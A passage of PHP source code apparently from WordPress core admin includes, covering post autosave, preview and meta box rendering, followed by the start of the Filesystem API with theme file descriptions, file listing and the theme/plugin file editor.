			 * vs delete_post_meta() and add_post_meta() to make sure we're working
			 * with the actual revision meta.
			 */
			delete_metadata( 'post', $new_autosave['ID'], $meta_key );

			/*
			 * One last check to ensure meta value not empty().
			 */
			if ( ! empty( $posted_data[ $meta_key ] ) ) {
				/*
				 * Add the revisions meta data to the autosave.
				 */
				add_metadata( 'post', $new_autosave['ID'], $meta_key, $posted_data[ $meta_key ] );
			}
		}
	}
}

/**
 * Saves a draft or manually autosaves for the purpose of showing a post preview.
 *
 * @since 2.7.0
 *
 * @return string URL to redirect to show the preview.
 */
function post_preview() {

	$post_id     = (int) $_POST['post_ID'];
	$_POST['ID'] = $post_id;

	$post = get_post( $post_id );

	if ( ! $post ) {
		wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
	}

	if ( ! current_user_can( 'edit_post', $post->ID ) ) {
		wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
	}

	$is_autosave = false;

	if ( ! wp_check_post_lock( $post->ID ) && get_current_user_id() == $post->post_author
		&& ( 'draft' === $post->post_status || 'auto-draft' === $post->post_status )
	) {
		$saved_post_id = edit_post();
	} else {
		$is_autosave = true;

		if ( isset( $_POST['post_status'] ) && 'auto-draft' === $_POST['post_status'] ) {
			$_POST['post_status'] = 'draft';
		}

		$saved_post_id = wp_create_post_autosave( $post->ID );
	}

	if ( is_wp_error( $saved_post_id ) ) {
		wp_die( $saved_post_id->get_error_message() );
	}

	$query_args = array();

	if ( $is_autosave && $saved_post_id ) {
		$query_args['preview_id']    = $post->ID;
		$query_args['preview_nonce'] = wp_create_nonce( 'post_preview_' . $post->ID );

		if ( isset( $_POST['post_format'] ) ) {
			$query_args['post_format'] = empty( $_POST['post_format'] ) ? 'standard' : sanitize_key( $_POST['post_format'] );
		}

		if ( isset( $_POST['_thumbnail_id'] ) ) {
			$query_args['_thumbnail_id'] = ( (int) $_POST['_thumbnail_id'] <= 0 ) ? '-1' : (int) $_POST['_thumbnail_id'];
		}
	}

	return get_preview_post_link( $post, $query_args );
}

/**
 * Saves a post submitted with XHR.
 *
 * Intended for use with heartbeat and autosave.js
 *
 * @since 3.9.0
 *
 * @param array $post_data Associative array of the submitted post data.
 * @return mixed The value 0 or WP_Error on failure. The saved post ID on success.
 *               The ID can be the draft post_id or the autosave revision post_id.
 */
function wp_autosave( $post_data ) {
	// Back-compat.
	if ( ! defined( 'DOING_AUTOSAVE' ) ) {
		define( 'DOING_AUTOSAVE', true );
	}

	$post_id              = (int) $post_data['post_id'];
	$post_data['ID']      = $post_id;
	$post_data['post_ID'] = $post_id;

	if ( false === wp_verify_nonce( $post_data['_wpnonce'], 'update-post_' . $post_id ) ) {
		return new WP_Error( 'invalid_nonce', __( 'Error while saving.' ) );
	}

	$post = get_post( $post_id );

	if ( ! current_user_can( 'edit_post', $post->ID ) ) {
		return new WP_Error( 'edit_posts', __( 'Sorry, you are not allowed to edit this item.' ) );
	}

	if ( 'auto-draft' === $post->post_status ) {
		$post_data['post_status'] = 'draft';
	}

	if ( 'page' !== $post_data['post_type'] && ! empty( $post_data['catslist'] ) ) {
		$post_data['post_category'] = explode( ',', $post_data['catslist'] );
	}

	if ( ! wp_check_post_lock( $post->ID ) && get_current_user_id() == $post->post_author
		&& ( 'auto-draft' === $post->post_status || 'draft' === $post->post_status )
	) {
		// Drafts and auto-drafts are just overwritten by autosave for the same user if the post is not locked.
		return edit_post( wp_slash( $post_data ) );
	} else {
		/*
		 * Non-drafts or other users' drafts are not overwritten.
		 * The autosave is stored in a special post revision for each user.
		 */
		return wp_create_post_autosave( wp_slash( $post_data ) );
	}
}

/**
 * Redirects to previous page.
 *
 * @since 2.7.0
 *
 * @param int $post_id Optional. Post ID.
 */
function redirect_post( $post_id = '' ) {
	if ( isset( $_POST['save'] ) || isset( $_POST['publish'] ) ) {
		$status = get_post_status( $post_id );

		if ( isset( $_POST['publish'] ) ) {
			switch ( $status ) {
				case 'pending':
					$message = 8;
					break;
				case 'future':
					$message = 9;
					break;
				default:
					$message = 6;
			}
		} else {
			$message = 'draft' === $status ? 10 : 1;
		}

		$location = add_query_arg( 'message', $message, get_edit_post_link( $post_id, 'url' ) );
	} elseif ( isset( $_POST['addmeta'] ) && $_POST['addmeta'] ) {
		$location = add_query_arg( 'message', 2, wp_get_referer() );
		$location = explode( '#', $location );
		$location = $location[0] . '#postcustom';
	} elseif ( isset( $_POST['deletemeta'] ) && $_POST['deletemeta'] ) {
		$location = add_query_arg( 'message', 3, wp_get_referer() );
		$location = explode( '#', $location );
		$location = $location[0] . '#postcustom';
	} else {
		$location = add_query_arg( 'message', 4, get_edit_post_link( $post_id, 'url' ) );
	}

	/**
	 * Filters the post redirect destination URL.
	 *
	 * @since 2.9.0
	 *
	 * @param string $location The destination URL.
	 * @param int    $post_id  The post ID.
	 */
	wp_redirect( apply_filters( 'redirect_post_location', $location, $post_id ) );
	exit;
}

/**
 * Sanitizes POST values from a checkbox taxonomy metabox.
 *
 * @since 5.1.0
 *
 * @param string $taxonomy The taxonomy name.
 * @param array  $terms    Raw term data from the 'tax_input' field.
 * @return int[] Array of sanitized term IDs.
 */
function taxonomy_meta_box_sanitize_cb_checkboxes( $taxonomy, $terms ) {
	return array_map( 'intval', $terms );
}

/**
 * Sanitizes POST values from an input taxonomy metabox.
 *
 * @since 5.1.0
 *
 * @param string       $taxonomy The taxonomy name.
 * @param array|string $terms    Raw term data from the 'tax_input' field.
 * @return array
 */
function taxonomy_meta_box_sanitize_cb_input( $taxonomy, $terms ) {
	/*
	 * Assume that a 'tax_input' string is a comma-separated list of term names.
	 * Some languages may use a character other than a comma as a delimiter, so we standardize on
	 * commas before parsing the list.
	 */
	if ( ! is_array( $terms ) ) {
		$comma = _x( ',', 'tag delimiter' );
		if ( ',' !== $comma ) {
			$terms = str_replace( $comma, ',', $terms );
		}
		$terms = explode( ',', trim( $terms, " \n\t\r\0\x0B," ) );
	}

	$clean_terms = array();
	foreach ( $terms as $term ) {
		// Empty terms are invalid input.
		if ( empty( $term ) ) {
			continue;
		}

		$_term = get_terms(
			array(
				'taxonomy'   => $taxonomy,
				'name'       => $term,
				'fields'     => 'ids',
				'hide_empty' => false,
			)
		);

		if ( ! empty( $_term ) ) {
			$clean_terms[] = (int) $_term[0];
		} else {
			// No existing term was found, so pass the string. A new term will be created.
			$clean_terms[] = $term;
		}
	}

	return $clean_terms;
}

/**
 * Prepares server-registered blocks for the block editor.
 *
 * Returns an associative array of registered block data keyed by block name. Data includes properties
 * of a block relevant for client registration.
 *
 * @since 5.0.0
 * @since 6.3.0 Added `selectors` field.
 * @since 6.4.0 Added `block_hooks` field.
 *
 * @return array An associative array of registered block data.
 */
function get_block_editor_server_block_settings() {
	$block_registry = WP_Block_Type_Registry::get_instance();
	$blocks         = array();
	$fields_to_pick = array(
		'api_version'      => 'apiVersion',
		'title'            => 'title',
		'description'      => 'description',
		'icon'             => 'icon',
		'attributes'       => 'attributes',
		'provides_context' => 'providesContext',
		'uses_context'     => 'usesContext',
		'block_hooks'      => 'blockHooks',
		'selectors'        => 'selectors',
		'supports'         => 'supports',
		'category'         => 'category',
		'styles'           => 'styles',
		'textdomain'       => 'textdomain',
		'parent'           => 'parent',
		'ancestor'         => 'ancestor',
		'keywords'         => 'keywords',
		'example'          => 'example',
		'variations'       => 'variations',
		'allowed_blocks'   => 'allowedBlocks',
	);

	foreach ( $block_registry->get_all_registered() as $block_name => $block_type ) {
		foreach ( $fields_to_pick as $field => $key ) {
			if ( ! isset( $block_type->{ $field } ) ) {
				continue;
			}

			if ( ! isset( $blocks[ $block_name ] ) ) {
				$blocks[ $block_name ] = array();
			}

			$blocks[ $block_name ][ $key ] = $block_type->{ $field };
		}
	}

	return $blocks;
}

/**
 * Renders the meta boxes forms.
 *
 * @since 5.0.0
 *
 * @global WP_Post   $post           Global post object.
 * @global WP_Screen $current_screen WordPress current screen object.
 * @global array     $wp_meta_boxes
 */
function the_block_editor_meta_boxes() {
	global $post, $current_screen, $wp_meta_boxes;

	// Handle meta box state.
	$_original_meta_boxes = $wp_meta_boxes;

	/**
	 * Fires right before the meta boxes are rendered.
	 *
	 * This allows for the filtering of meta box data, that should already be
	 * present by this point. Do not use as a means of adding meta box data.
	 *
	 * @since 5.0.0
	 *
	 * @param array $wp_meta_boxes Global meta box state.
	 */
	$wp_meta_boxes = apply_filters( 'filter_block_editor_meta_boxes', $wp_meta_boxes );
	$locations     = array( 'side', 'normal', 'advanced' );
	$priorities    = array( 'high', 'sorted', 'core', 'default', 'low' );

	// Render meta boxes.
	?>
	<form class="metabox-base-form">
	<?php the_block_editor_meta_box_post_form_hidden_fields( $post ); ?>
	</form>
	<form id="toggle-custom-fields-form" method="post" action="<?php echo esc_url( admin_url( 'post.php' ) ); ?>">
		<?php wp_nonce_field( 'toggle-custom-fields', 'toggle-custom-fields-nonce' ); ?>
		<input type="hidden" name="action" value="toggle-custom-fields" />
	</form>
	<?php foreach ( $locations as $location ) : ?>
		<form class="metabox-location-<?php echo esc_attr( $location ); ?>" onsubmit="return false;">
			<div id="poststuff" class="sidebar-open">
				<div id="postbox-container-2" class="postbox-container">
					<?php
					do_meta_boxes(
						$current_screen,
						$location,
						$post
					);
					?>
				</div>
			</div>
		</form>
	<?php endforeach; ?>
	<?php

	$meta_boxes_per_location = array();
	foreach ( $locations as $location ) {
		$meta_boxes_per_location[ $location ] = array();

		if ( ! isset( $wp_meta_boxes[ $current_screen->id ][ $location ] ) ) {
			continue;
		}

		foreach ( $priorities as $priority ) {
			if ( ! isset( $wp_meta_boxes[ $current_screen->id ][ $location ][ $priority ] ) ) {
				continue;
			}

			$meta_boxes = (array) $wp_meta_boxes[ $current_screen->id ][ $location ][ $priority ];
			foreach ( $meta_boxes as $meta_box ) {
				if ( false == $meta_box || ! $meta_box['title'] ) {
					continue;
				}

				// If a meta box is just here for back compat, don't show it in the block editor.
				if ( isset( $meta_box['args']['__back_compat_meta_box'] ) && $meta_box['args']['__back_compat_meta_box'] ) {
					continue;
				}

				$meta_boxes_per_location[ $location ][] = array(
					'id'    => $meta_box['id'],
					'title' => $meta_box['title'],
				);
			}
		}
	}

	/*
	 * Sadly we probably cannot add this data directly into editor settings.
	 *
	 * Some meta boxes need `admin_head` to fire for meta box registry.
	 * `admin_head` fires after `admin_enqueue_scripts`, which is where we create
	 * our editor instance.
	 */
	$script = 'window._wpLoadBlockEditor.then( function() {
		wp.data.dispatch( \'core/edit-post\' ).setAvailableMetaBoxesPerLocation( ' . wp_json_encode( $meta_boxes_per_location ) . ' );
	} );';

	wp_add_inline_script( 'wp-edit-post', $script );

	/*
	 * When `wp-edit-post` is output in the `<head>`, the inline script needs to be manually printed.
	 * Otherwise, meta boxes will not display because inline scripts for `wp-edit-post`
	 * will not be printed again after this point.
	 */
	if ( wp_script_is( 'wp-edit-post', 'done' ) ) {
		printf( "<script type='text/javascript'>\n%s\n</script>\n", trim( $script ) );
	}

	/*
	 * If the 'postcustom' meta box is enabled, then we need to perform
	 * some extra initialization on it.
	 */
	$enable_custom_fields = (bool) get_user_meta( get_current_user_id(), 'enable_custom_fields', true );

	if ( $enable_custom_fields ) {
		$script = "( function( $ ) {
			if ( $('#postcustom').length ) {
				$( '#the-list' ).wpList( {
					addBefore: function( s ) {
						s.data += '&post_id=$post->ID';
						return s;
					},
					addAfter: function() {
						$('table#list-table').show();
					}
				});
			}
		} )( jQuery );";
		wp_enqueue_script( 'wp-lists' );
		wp_add_inline_script( 'wp-lists', $script );
	}

	/*
	 * Refresh nonces used by the meta box loader.
	 *
	 * The logic is very similar to that provided by post.js for the classic editor.
	 */
	$script = "( function( $ ) {
		var check, timeout;

		function schedule() {
			check = false;
			window.clearTimeout( timeout );
			timeout = window.setTimeout( function() { check = true; }, 300000 );
		}

		$( document ).on( 'heartbeat-send.wp-refresh-nonces', function( e, data ) {
			var post_id, \$authCheck = $( '#wp-auth-check-wrap' );

			if ( check || ( \$authCheck.length && ! \$authCheck.hasClass( 'hidden' ) ) ) {
				if ( ( post_id = $( '#post_ID' ).val() ) && $( '#_wpnonce' ).val() ) {
					data['wp-refresh-metabox-loader-nonces'] = {
						post_id: post_id
					};
				}
			}
		}).on( 'heartbeat-tick.wp-refresh-nonces', function( e, data ) {
			var nonces = data['wp-refresh-metabox-loader-nonces'];

			if ( nonces ) {
				if ( nonces.replace ) {
					if ( nonces.replace.metabox_loader_nonce && window._wpMetaBoxUrl && wp.url ) {
						window._wpMetaBoxUrl= wp.url.addQueryArgs( window._wpMetaBoxUrl, { 'meta-box-loader-nonce': nonces.replace.metabox_loader_nonce } );
					}

					if ( nonces.replace._wpnonce ) {
						$( '#_wpnonce' ).val( nonces.replace._wpnonce );
					}
				}
			}
		}).ready( function() {
			schedule();
		});
	} )( jQuery );";
	wp_add_inline_script( 'heartbeat', $script );

	// Reset meta box data.
	$wp_meta_boxes = $_original_meta_boxes;
}

/**
 * Renders the hidden form required for the meta boxes form.
 *
 * @since 5.0.0
 *
 * @param WP_Post $post Current post object.
 */
function the_block_editor_meta_box_post_form_hidden_fields( $post ) {
	$form_extra = '';
	if ( 'auto-draft' === $post->post_status ) {
		$form_extra .= "<input type='hidden' id='auto_draft' name='auto_draft' value='1' />";
	}
	$form_action  = 'editpost';
	$nonce_action = 'update-post_' . $post->ID;
	$form_extra  .= "<input type='hidden' id='post_ID' name='post_ID' value='" . esc_attr( $post->ID ) . "' />";
	$referer      = wp_get_referer();
	$current_user = wp_get_current_user();
	$user_id      = $current_user->ID;
	wp_nonce_field( $nonce_action );

	/*
	 * Some meta boxes hook into these actions to add hidden input fields in the classic post form.
	 * For backward compatibility, we can capture the output from these actions,
	 * and extract the hidden input fields.
	 */
	ob_start();
	/** This filter is documented in wp-admin/edit-form-advanced.php */
	do_action( 'edit_form_after_title', $post );
	/** This filter is documented in wp-admin/edit-form-advanced.php */
	do_action( 'edit_form_advanced', $post );
	$classic_output = ob_get_clean();

	$classic_elements = wp_html_split( $classic_output );
	$hidden_inputs    = '';
	foreach ( $classic_elements as $element ) {
		if ( ! str_starts_with( $element, '<input ' ) ) {
			continue;
		}

		if ( preg_match( '/\stype=[\'"]hidden[\'"]\s/', $element ) ) {
			echo $element;
		}
	}
	?>
	<input type="hidden" id="user-id" name="user_ID" value="<?php echo (int) $user_id; ?>" />
	<input type="hidden" id="hiddenaction" name="action" value="<?php echo esc_attr( $form_action ); ?>" />
	<input type="hidden" id="originalaction" name="originalaction" value="<?php echo esc_attr( $form_action ); ?>" />
	<input type="hidden" id="post_type" name="post_type" value="<?php echo esc_attr( $post->post_type ); ?>" />
	<input type="hidden" id="original_post_status" name="original_post_status" value="<?php echo esc_attr( $post->post_status ); ?>" />
	<input type="hidden" id="referredby" name="referredby" value="<?php echo $referer ? esc_url( $referer ) : ''; ?>" />

	<?php
	if ( 'draft' !== get_post_status( $post ) ) {
		wp_original_referer_field( true, 'previous' );
	}
	echo $form_extra;
	wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
	wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
	// Permalink title nonce.
	wp_nonce_field( 'samplepermalink', 'samplepermalinknonce', false );

	/**
	 * Adds hidden input fields to the meta box save form.
	 *
	 * Hook into this action to print `<input type="hidden" ... />` fields, which will be POSTed back to
	 * the server when meta boxes are saved.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_Post $post The post that is being edited.
	 */
	do_action( 'block_editor_meta_box_hidden_fields', $post );
}

/**
 * Disables block editor for wp_navigation type posts so they can be managed via the UI.
 *
 * @since 5.9.0
 * @access private
 *
 * @param bool   $value Whether the CPT supports block editor or not.
 * @param string $post_type Post type.
 * @return bool Whether the block editor should be disabled or not.
 */
function _disable_block_editor_for_navigation_post_type( $value, $post_type ) {
	if ( 'wp_navigation' === $post_type ) {
		return false;
	}

	return $value;
}

/**
 * This callback disables the content editor for wp_navigation type posts.
 * Content editor cannot handle wp_navigation type posts correctly.
 * We cannot disable the "editor" feature in the wp_navigation's CPT definition
 * because it disables the ability to save navigation blocks via REST API.
 *
 * @since 5.9.0
 * @access private
 *
 * @param WP_Post $post An instance of WP_Post class.
 */
function _disable_content_editor_for_navigation_post_type( $post ) {
	$post_type = get_post_type( $post );
	if ( 'wp_navigation' !== $post_type ) {
		return;
	}

	remove_post_type_support( $post_type, 'editor' );
}

/**
 * This callback enables content editor for wp_navigation type posts.
 * We need to enable it back because we disable it to hide
 * the content editor for wp_navigation type posts.
 *
 * @since 5.9.0
 * @access private
 *
 * @see _disable_content_editor_for_navigation_post_type
 *
 * @param WP_Post $post An instance of WP_Post class.
 */
function _enable_content_editor_for_navigation_post_type( $post ) {
	$post_type = get_post_type( $post );
	if ( 'wp_navigation' !== $post_type ) {
		return;
	}

	add_post_type_support( $post_type, 'editor' );
}
<?php
/**
 * Filesystem API: Top-level functionality
 *
 * Functions for reading, writing, modifying, and deleting files on the file system.
 * Includes functionality for theme-specific files as well as operations for uploading,
 * archiving, and rendering output when necessary.
 *
 * @package WordPress
 * @subpackage Filesystem
 * @since 2.3.0
 */

/** The descriptions for theme files. */
$wp_file_descriptions = array(
	'functions.php'         => __( 'Theme Functions' ),
	'header.php'            => __( 'Theme Header' ),
	'footer.php'            => __( 'Theme Footer' ),
	'sidebar.php'           => __( 'Sidebar' ),
	'comments.php'          => __( 'Comments' ),
	'searchform.php'        => __( 'Search Form' ),
	'404.php'               => __( '404 Template' ),
	'link.php'              => __( 'Links Template' ),
	'theme.json'            => __( 'Theme Styles & Block Settings' ),
	// Archives.
	'index.php'             => __( 'Main Index Template' ),
	'archive.php'           => __( 'Archives' ),
	'author.php'            => __( 'Author Template' ),
	'taxonomy.php'          => __( 'Taxonomy Template' ),
	'category.php'          => __( 'Category Template' ),
	'tag.php'               => __( 'Tag Template' ),
	'home.php'              => __( 'Posts Page' ),
	'search.php'            => __( 'Search Results' ),
	'date.php'              => __( 'Date Template' ),
	// Content.
	'singular.php'          => __( 'Singular Template' ),
	'single.php'            => __( 'Single Post' ),
	'page.php'              => __( 'Single Page' ),
	'front-page.php'        => __( 'Homepage' ),
	'privacy-policy.php'    => __( 'Privacy Policy Page' ),
	// Attachments.
	'attachment.php'        => __( 'Attachment Template' ),
	'image.php'             => __( 'Image Attachment Template' ),
	'video.php'             => __( 'Video Attachment Template' ),
	'audio.php'             => __( 'Audio Attachment Template' ),
	'application.php'       => __( 'Application Attachment Template' ),
	// Embeds.
	'embed.php'             => __( 'Embed Template' ),
	'embed-404.php'         => __( 'Embed 404 Template' ),
	'embed-content.php'     => __( 'Embed Content Template' ),
	'header-embed.php'      => __( 'Embed Header Template' ),
	'footer-embed.php'      => __( 'Embed Footer Template' ),
	// Stylesheets.
	'style.css'             => __( 'Stylesheet' ),
	'editor-style.css'      => __( 'Visual Editor Stylesheet' ),
	'editor-style-rtl.css'  => __( 'Visual Editor RTL Stylesheet' ),
	'rtl.css'               => __( 'RTL Stylesheet' ),
	// Other.
	'my-hacks.php'          => __( 'my-hacks.php (legacy hacks support)' ),
	'.htaccess'             => __( '.htaccess (for rewrite rules )' ),
	// Deprecated files.
	'wp-layout.css'         => __( 'Stylesheet' ),
	'wp-comments.php'       => __( 'Comments Template' ),
	'wp-comments-popup.php' => __( 'Popup Comments Template' ),
	'comments-popup.php'    => __( 'Popup Comments' ),
);

/**
 * Gets the description for standard WordPress theme files.
 *
 * @since 1.5.0
 *
 * @global array $wp_file_descriptions Theme file descriptions.
 * @global array $allowed_files        List of allowed files.
 *
 * @param string $file Filesystem path or filename.
 * @return string Description of file from $wp_file_descriptions or basename of $file if description doesn't exist.
 *                Appends 'Page Template' to basename of $file if the file is a page template.
 */
function get_file_description( $file ) {
	global $wp_file_descriptions, $allowed_files;

	$dirname   = pathinfo( $file, PATHINFO_DIRNAME );
	$file_path = $allowed_files[ $file ];

	if ( isset( $wp_file_descriptions[ basename( $file ) ] ) && '.' === $dirname ) {
		return $wp_file_descriptions[ basename( $file ) ];
	} elseif ( file_exists( $file_path ) && is_file( $file_path ) ) {
		$template_data = implode( '', file( $file_path ) );

		if ( preg_match( '|Template Name:(.*)$|mi', $template_data, $name ) ) {
			/* translators: %s: Template name. */
			return sprintf( __( '%s Page Template' ), _cleanup_header_comment( $name[1] ) );
		}
	}

	return trim( basename( $file ) );
}

/**
 * Gets the absolute filesystem path to the root of the WordPress installation.
 *
 * @since 1.5.0
 *
 * @return string Full filesystem path to the root of the WordPress installation.
 */
function get_home_path() {
	$home    = set_url_scheme( get_option( 'home' ), 'http' );
	$siteurl = set_url_scheme( get_option( 'siteurl' ), 'http' );

	if ( ! empty( $home ) && 0 !== strcasecmp( $home, $siteurl ) ) {
		$wp_path_rel_to_home = str_ireplace( $home, '', $siteurl ); /* $siteurl - $home */
		$pos                 = strripos( str_replace( '\\', '/', $_SERVER['SCRIPT_FILENAME'] ), trailingslashit( $wp_path_rel_to_home ) );
		$home_path           = substr( $_SERVER['SCRIPT_FILENAME'], 0, $pos );
		$home_path           = trailingslashit( $home_path );
	} else {
		$home_path = ABSPATH;
	}

	return str_replace( '\\', '/', $home_path );
}

/**
 * Returns a listing of all files in the specified folder and all subdirectories up to 100 levels deep.
 *
 * The depth of the recursiveness can be controlled by the $levels param.
 *
 * @since 2.6.0
 * @since 4.9.0 Added the `$exclusions` parameter.
 * @since 6.3.0 Added the `$include_hidden` parameter.
 *
 * @param string   $folder         Optional. Full path to folder. Default empty.
 * @param int      $levels         Optional. Levels of folders to follow, Default 100 (PHP Loop limit).
 * @param string[] $exclusions     Optional. List of folders and files to skip.
 * @param bool     $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
 *                                 Default false.
 * @return string[]|false Array of files on success, false on failure.
 */
function list_files( $folder = '', $levels = 100, $exclusions = array(), $include_hidden = false ) {
	if ( empty( $folder ) ) {
		return false;
	}

	$folder = trailingslashit( $folder );

	if ( ! $levels ) {
		return false;
	}

	$files = array();

	$dir = @opendir( $folder );

	if ( $dir ) {
		while ( ( $file = readdir( $dir ) ) !== false ) {
			// Skip current and parent folder links.
			if ( in_array( $file, array( '.', '..' ), true ) ) {
				continue;
			}

			// Skip hidden and excluded files.
			if ( ( ! $include_hidden && '.' === $file[0] ) || in_array( $file, $exclusions, true ) ) {
				continue;
			}

			if ( is_dir( $folder . $file ) ) {
				$files2 = list_files( $folder . $file, $levels - 1, array(), $include_hidden );
				if ( $files2 ) {
					$files = array_merge( $files, $files2 );
				} else {
					$files[] = $folder . $file . '/';
				}
			} else {
				$files[] = $folder . $file;
			}
		}

		closedir( $dir );
	}

	return $files;
}

/**
 * Gets the list of file extensions that are editable in plugins.
 *
 * @since 4.9.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return string[] Array of editable file extensions.
 */
function wp_get_plugin_file_editable_extensions( $plugin ) {

	$default_types = array(
		'bash',
		'conf',
		'css',
		'diff',
		'htm',
		'html',
		'http',
		'inc',
		'include',
		'js',
		'json',
		'jsx',
		'less',
		'md',
		'patch',
		'php',
		'php3',
		'php4',
		'php5',
		'php7',
		'phps',
		'phtml',
		'sass',
		'scss',
		'sh',
		'sql',
		'svg',
		'text',
		'txt',
		'xml',
		'yaml',
		'yml',
	);

	/**
	 * Filters the list of file types allowed for editing in the plugin file editor.
	 *
	 * @since 2.8.0
	 * @since 4.9.0 Added the `$plugin` parameter.
	 *
	 * @param string[] $default_types An array of editable plugin file extensions.
	 * @param string   $plugin        Path to the plugin file relative to the plugins directory.
	 */
	$file_types = (array) apply_filters( 'editable_extensions', $default_types, $plugin );

	return $file_types;
}

/**
 * Gets the list of file extensions that are editable for a given theme.
 *
 * @since 4.9.0
 *
 * @param WP_Theme $theme Theme object.
 * @return string[] Array of editable file extensions.
 */
function wp_get_theme_file_editable_extensions( $theme ) {

	$default_types = array(
		'bash',
		'conf',
		'css',
		'diff',
		'htm',
		'html',
		'http',
		'inc',
		'include',
		'js',
		'json',
		'jsx',
		'less',
		'md',
		'patch',
		'php',
		'php3',
		'php4',
		'php5',
		'php7',
		'phps',
		'phtml',
		'sass',
		'scss',
		'sh',
		'sql',
		'svg',
		'text',
		'txt',
		'xml',
		'yaml',
		'yml',
	);

	/**
	 * Filters the list of file types allowed for editing in the theme file editor.
	 *
	 * @since 4.4.0
	 *
	 * @param string[] $default_types An array of editable theme file extensions.
	 * @param WP_Theme $theme         The active theme object.
	 */
	$file_types = apply_filters( 'wp_theme_editor_filetypes', $default_types, $theme );

	// Ensure that default types are still there.
	return array_unique( array_merge( $file_types, $default_types ) );
}

/**
 * Prints file editor templates (for plugins and themes).
 *
 * @since 4.9.0
 */
function wp_print_file_editor_templates() {
	?>
	<script type="text/html" id="tmpl-wp-file-editor-notice">
		<div class="notice inline notice-{{ data.type || 'info' }} {{ data.alt ? 'notice-alt' : '' }} {{ data.dismissible ? 'is-dismissible' : '' }} {{ data.classes || '' }}">
			<# if ( 'php_error' === data.code ) { #>
				<p>
					<?php
					printf(
						/* translators: 1: Line number, 2: File path. */
						__( 'Your PHP code changes were not applied due to an error on line %1$s of file %2$s. Please fix and try saving again.' ),
						'{{ data.line }}',
						'{{ data.file }}'
					);
					?>
				</p>
				<pre>{{ data.message }}</pre>
			<# } else if ( 'file_not_writable' === data.code ) { #>
				<p>
					<?php
					printf(
						/* translators: %s: Documentation URL. */
						__( 'You need to make this file writable before you can save your changes. See <a href="%s">Changing File Permissions</a> for more information.' ),
						__( 'https://wordpress.org/documentation/article/changing-file-permissions/' )
					);
					?>
				</p>
			<# } else { #>
				<p>{{ data.message || data.code }}</p>

				<# if ( 'lint_errors' === data.code ) { #>
					<p>
						<# var elementId = 'el-' + String( Math.random() ); #>
						<input id="{{ elementId }}"  type="checkbox">
						<label for="{{ elementId }}"><?php _e( 'Update anyway, even though it might break your site?' ); ?></label>
					</p>
				<# } #>
			<# } #>
			<# if ( data.dismissible ) { #>
				<button type="button" class="notice-dismiss"><span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Dismiss' );
					?>
				</span></button>
			<# } #>
		</div>
	</script>
	<?php
}

/**
 * Attempts to edit a file for a theme or plugin.
 *
 * When editing a PHP file, loopback requests will be made to the admin and the homepage
 * to attempt to see if there is a fatal error introduced. If so, the PHP change will be
 * reverted.
 *
 * @since 4.9.0
 *
 * @param string[] $args {
 *     Args. Note that all of the arg values are already unslashed. They are, however,
 *     coming straight from `$_POST` and are not validated or sanitized in any way.
 *
 *     @type string $file       Relative path to file.
 *     @type string $plugin     Path to the plugin file relative to the plugins directory.
 *     @type string $theme      Theme being edited.
 *     @type string $newcontent New content for the file.
 *     @type string $nonce      Nonce.
 * }
 * @return true|WP_Error True on success or `WP_Error` on failure.
 */
function wp_edit_theme_plugin_file( $args ) {
	if ( empty( $args['file'] ) ) {
		return new WP_Error( 'missing_file' );
	}

	if ( 0 !== validate_file( $args['file'] ) ) {
		return new WP_Error( 'bad_file' );
	}

	if ( ! isset( $args['newcontent'] ) ) {
		return new WP_Error( 'missing_content' );
	}

	if ( ! isset( $args['nonce'] ) ) {
		return new WP_Error( 'missing_nonce' );
	}

	$file    = $args['file'];
	$content = $args['newcontent'];

	$plugin    = null;
	$theme     = null;
	$real_file = null;

	if ( ! empty( $args['plugin'] ) ) {
		$plugin = $args['plugin'];

		if ( ! current_user_can( 'edit_plugins' ) ) {
			return new WP_Error( 'unauthorized', __( 'Sorry, you are not allowed to edit plugins for this site.' ) );
		}

		if ( ! wp_verify_nonce( $args['nonce'], 'edit-plugin_' . $file ) ) {
			return new WP_Error( 'nonce_failure' );
		}

		if ( ! array_key_exists( $plugin, get_plugins() ) ) {
			return new WP_Error( 'invalid_plugin' );
		}

		if ( 0 !== validate_file( $file, get_plugin_files( $plugin ) ) ) {
			return new WP_Error( 'bad_plugin_file_path', __( 'Sorry, that file cannot be edited.' ) );
		}

		$editable_extensions = wp_get_plugin_file_editable_extensions( $plugin );

		$real_file = WP_PLUGIN_DIR . '/' . $file;

		$is_active = in_array(
			$plugin,
			(array) get_option( 'active_plugins', array() ),
			true
		);

	} elseif ( ! empty( $args['theme'] ) ) {
		$stylesheet = $args['theme'];

		if ( 0 !== validate_file( $stylesheet ) ) {
			return new WP_Error( 'bad_theme_path' );
		}

		if ( ! current_user_can( 'edit_themes' ) ) {
			return new WP_Error( 'unauthorized', __( 'Sorry, you are not allowed to edit templates for this site.' ) );
		}

		$theme = wp_get_theme( $stylesheet );
		if ( ! $theme->exists() ) {
			return new WP_Error( 'non_existent_theme', __( 'The requested theme does not exist.' ) );
		}

		if ( ! wp_verify_nonce( $args['nonce'], 'edit-theme_' . $stylesheet . '_' . $file ) ) {
			return new WP_Error( 'nonce_failure' );
		}

		if ( $theme->errors() && 'theme_no_stylesheet' === $theme->errors()->get_error_code() ) {
			return new WP_Error(
				'theme_no_stylesheet',
				__( 'The requested theme does not exist.' ) . ' ' . $theme->errors()->get_error_message()
			);
		}

		$editable_extensions = wp_get_theme_file_editable_extensions( $theme );

		$allowed_files = array();
		foreach ( $editable_extensions as $type ) {
			switch ( $type ) {
				case 'php':
					$allowed_files = array_merge( $allowed_files, $theme->get_files( 'php', -1 ) );
					break;
				case 'css':
					$style_files                = $theme->get_files( 'css', -1 );
					$allowed_files['style.css'] = $style_files['style.css'];
					$allowed_files              = array_merge( $allowed_files, $style_files );
					break;
				default:
					$allowed_files = array_merge( $allowed_files, $theme->get_files( $type, -1 ) );
					break;
			}
		}

		// Compare based on relative paths.
		if ( 0 !== validate_file( $file, array_keys( $allowed_files ) ) ) {
			return new WP_Error( 'disallowed_theme_file', __( 'Sorry, that file cannot be edited.' ) );
		}

		$real_file = $theme->get_stylesheet_directory() . '/' . $file;

		$is_active = ( get_stylesheet() === $stylesheet || get_template() === $stylesheet );

	} else {
